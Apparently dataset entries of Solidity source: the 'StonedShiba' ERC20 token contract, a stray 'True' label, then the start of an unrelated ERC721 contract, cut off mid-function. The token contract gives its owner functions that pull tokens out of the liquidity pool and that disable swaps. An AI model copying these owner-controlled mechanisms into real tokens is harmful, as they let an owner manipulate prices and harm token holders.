Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } contract StonedShiba is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 20; // 20 = .20% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public constant buyMarketingFee = 3; uint256 public constant buyLiquidityFee = 1; uint256 public constant buyDevFee = 0; uint256 public sellTotalFees; uint256 public constant sellMarketingFee = 3; uint256 public constant sellLiquidityFee = 1; uint256 public constant sellDevFee = 0; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); event BoughtEarly(address indexed sniper); constructor() ERC20("Stoned Shiba", "BLAZED") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 totalSupply = 420_000_000_000 * 1e18; // 420 billion total supply maxTransactionAmount = 4_200_000_000 * 1e18; // 1% from total supply maxTransactionAmountTxn maxWallet = 6_300_000_000 * 1e18; // 1.5% from total supply maxWallet swapTokensAtAmount = (totalSupply * 3) / 10000; // 0.03% swap wallet buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0xc1Eb840715706d1E74aD7C433EEEeD01CA0ec07d); // set as marketing wallet devWallet = address(0xc1Eb840715706d1E74aD7C433EEEeD01CA0ec07d); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function startTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
True
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/** *Submitted for verification at Etherscan.io on 2021-10-20 */ // SPDX-License-Identifier: MIT /** !Disclaimer! Please be aware that this smart contract is part of an experiment to see how the blockchain can handle this kind of logic. The developer will not be responsible or liable for all loss or damage whatsoever caused by you participating in any way in the experimental code, whether putting money into the contract or using the code for your own project. */ // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See 